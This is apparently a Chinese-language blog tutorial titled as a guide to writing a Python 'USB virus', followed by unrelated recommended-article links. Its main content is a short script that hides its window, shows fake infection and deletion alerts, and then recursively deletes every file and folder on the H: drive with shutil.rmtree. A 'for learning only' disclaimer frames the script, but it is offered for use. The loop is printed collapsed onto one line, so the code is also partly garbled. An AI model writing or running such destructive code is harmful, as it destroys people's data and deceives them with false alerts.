如何用Python写病毒
如何用Python写病毒–USB病毒篇
人生苦短,我用Python!
hello 大家好!我是Mark,一个姓马名克的中国人。
最近呢,又有小伙伴问Mark了,“Mark,你会不会写病毒呀!”,我一听完,愣了一下,问他:“写病毒干啥?”
“哎呀,没什么,我只是想试一下而已”
“喝,这简单!”
没错,这确实很简单。
所以,今天Mark就跟大家分享一下,如何通过Python写一个病毒
(注意一下,今天分享的这个病毒会删除文件,谨慎使用,这里分享只供学习交流)
一、环境搭建
本程序用Python编写,不会Python的小伙伴可以参照这篇博客
传送门!
我自己的环境是windows10,64位,pycharm,Python3.7
二、撸代码!
接下来,就可以开始写代码了!(本文不需要任何Python基础)
首先,上代码:
import os
import tkinter.messagebox
import shutil
这里很好理解,导入一些模块。
那么,会有零基础的朋友问了,什么是模块?
模块,就相当于文具盒
为什么这么比喻呢?
很简单,写一个代码,写一个程序,是不是就像完成一项作业?那么,完成作业需要什么呢?
没错,需要本子和笔。
那么现在,我们有了编辑器,是不是就有了本子,那笔去哪里了呢?
对了,笔在笔盒里面,而模块就是这个文具盒,模块当中所拥有的方法和属性,就相当于文具盒当中的橡皮呀,尺子呀,铅笔呀,钢笔……
所以,我们如果要用里面的笔,就必须要拿出这个文具盒,明白了?
接下来,继续上代码!
root = tkinter.Tk()
root.withdraw()
这个的作用是消除 tkinter 模块在运行时出现的主窗口。
其中
root = tkinter.Tk()
是定义变量名,
定义变量名更好理解了,大致可以理解为
给一个东西起一个新名字,更加简短,明了
下一行
root.withdraw()
是使用 tkinter 模块当中的一个方法,使其消除主窗口,也就是
从文具盒当中拿出一支笔,去使用它
接下来,下一段代码:
tkinter.messagebox.showerror('错误', '电脑被病毒感染!')
tkinter.messagebox.showwarning('警告', 'H盘文件已被删除!')
这个代码也是调用 tkinter 模块当中的功能,运行起来是这样的:
然后,看下一段代码
filepath = os.listdir('H:\\')
这一行代码调用 os 模块,读取H盘下所有文件
res = len(filepath)
这一行,获取H盘下文件的数量
while res != 0:res -= 1sen = 'H:/' + str(filepath[res])shutil.rmtree(sen)
这是一个 while 语句,也就是循环语句,意思是当 res 这个变量不等于零的时候,执行下面的代码,一遍又一遍,直到 res 等于 0。
在这个循环语句当中,sen 变量储存了H盘下面所有文件的绝对路径。
最后一行,通过 shutil 模块中的 rmtree方法,删除 sen 目录下的所有文件
好了,最后贴一张整体图
然后是运行效果图
5.1.病毒运行演示
如何用Python写病毒相关推荐
- python剪刀石头布_如何用python写剪刀石头布
如何用python写剪刀石头布 发布时间:2020-07-20 11:52:16 来源:亿速云 阅读:111 本篇文章给大家分享的是有关如何用python写剪刀石头布,小编觉得挺实用的,因此分享给大家 ...
- 贪吃蛇博弈算法python_算法应用实践:如何用Python写一个贪吃蛇AI
原标题:算法应用实践:如何用Python写一个贪吃蛇AI 前言 这两天在网上看到一张让人涨姿势的图片,图片中展示的是贪吃蛇游戏, 估计大部分人都玩过.但如果仅仅是贪吃蛇游戏,那么它就没有什么让人涨姿势 ...
- python中select模块_基于python select.select模块通信的实例讲解 如何用python写个串口通信的程序...
python socket怎么利用select实现双工通信 方法: Before : 0000000000000000000000000000000000000000 After pack: 0100 ...
- 用python写用手机发邮件_如何用python写发邮件?
原标题:如何用python写发邮件? 1. 163邮箱 163邮箱需要设置客户端授权密码 请输入图片描述 # coding:utf-8 from email.header import Header ...
- [译] 如何用 Python 写一个 Discord 机器人
原文地址:How to write a Discord bot in Python 原文作者:Junpei Shimotsu 译文出自:掘金翻译计划 本文永久链接:github.com/xitu/go ...
- python小助手_如何用python写个人专属群聊提醒小助手?
前言 大家还记得教会父母玩微信是什么时候吗?父母学会后,我们的生活就发生了「质」的变化,父母也许会吐槽你的微信头像不好,要你换一个头像. 最近 pk哥 又被母后大人吐槽了,原因是亲戚微信群里某个亲戚生 ...
- 手机版python3h如何自制游戏_教你如何用 Python 写一个小游戏
教你如何用 Python 写一个小游戏 引言 最近 python 语言大火, 除了在科学计算领域 python 有用武之地之外, 在游戏后台等方面, python 也大放异彩, 本篇博文将按照正规的项 ...
- 如何用python写傅里叶级数
如何用python写傅里叶级数 最近需要用到傅里叶级数来拟合曲线,了解到有三种库的写法 使用scipy 使用sympy 使用lmfit 首先是标准的傅里叶级数的数学表达式 周期为2l的傅式展开f(x) ...
- python workflow_如何用 Python 写 Alfred Workflow
原标题:如何用 Python 写 Alfred Workflow 用 Mac 的同学应该都听过 Alfred,号称效率神器.但是,你有没有想过可以用 Python 自己写一个 Workflow 呢? ...
最新文章
- 用洪小文,人工智能予力永续未来
- CF724G Xor-matic Number of the Graph(线性基+组合数)
- 网络巨头秘修域名重大疏漏 互联网免遭黑客控制
- 游戏使用html签名,关于玩游戏的个性签名
- C语言90道试题资料
- 【Linux系统编程应用】Linux音频编程接口
- 【解析】在设计软件的模块结构时,()不能改进设计质量
- 分段函数if语句_C语言函数系列之库函数中基础必会函数(一)
- nginx php7 fastcgi,[Mac php7 nginx]解决nginx FastCGI sent in stderr: “Primary script unknown”
- 国庆档首日票房破2亿 长津湖票房占比过半
- c#实现程序的互斥运行
- Android中背景透明的Dialog
- SpringBoot系列(10):SpringBoot中的全局异常处理
- java生成 折线图
- 使用Jsoup实现网络爬虫
- zip、rar等密码破解软件
- tipask 3.5 出错get_class() expects parameter 1 to be object 解决方案及说明
- PAKDD2020:阿里巴巴算法大赛中的得与失
- matlab编写求解二阶常微分方程,求一个复杂的二阶常微分方程的数值解,不会写代码= =...
- Android_adb_Wifi_无线调试,脱离数据线/